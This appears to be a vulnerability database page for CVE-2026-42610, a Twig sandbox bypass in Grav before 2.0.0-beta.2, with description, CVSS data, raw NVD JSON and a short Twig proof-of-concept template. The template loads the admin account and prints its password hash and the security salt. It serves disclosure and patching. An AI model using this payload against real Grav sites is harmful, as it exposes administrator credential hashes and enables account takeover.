Security Vulnerability Report
中文
CVE-2026-42610 CVSS 6.5 MEDIUM

CVE-2026-42610

Published: 2026-05-11 16:17:34
Last Modified: 2026-05-11 17:16:34

Description

Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a low-privileged user (EX: Content Editor with only pages.update permissions) can bypass the existing Twig sandbox restrictions by utilizing the grav['accounts'] service. Attacker can programmatically load administrative user objects and extract sensitive data, including Bcrypt password hashes and the security salt. This vulnerability is fixed in 2.0.0-beta.2.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Grav < 2.0.0-beta.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
{# PoC: Accessing sensitive data via Twig Sandbox Bypass #} {% set accounts = grav['accounts'] %} {# Load the admin user object #} {% set admin_user = accounts.load('admin') %} {# Output the password hash and salt #} Admin Password Hash: {{ admin_user.password }} Security Salt: {{ grav.config.get('system.security.salt') }}

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42610", "sourceIdentifier": "[email protected]", "published": "2026-05-11T16:17:33.957", "lastModified": "2026-05-11T17:16:33.660", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a low-privileged user (EX: Content Editor with only pages.update permissions) can bypass the existing Twig sandbox restrictions by utilizing the grav['accounts'] service. Attacker can programmatically load administrative user objects and extract sensitive data, including Bcrypt password hashes and the security salt. This vulnerability is fixed in 2.0.0-beta.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/getgrav/grav/commit/c66dfeb5ff679a1667678c6335eb9ff3255dfc47", "source": "[email protected]"}, {"url": "https://github.com/getgrav/grav/security/advisories/GHSA-3f29-pqwf-v4j4", "source": "[email protected]"}, {"url": "https://github.com/getgrav/grav/security/advisories/GHSA-3f29-pqwf-v4j4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}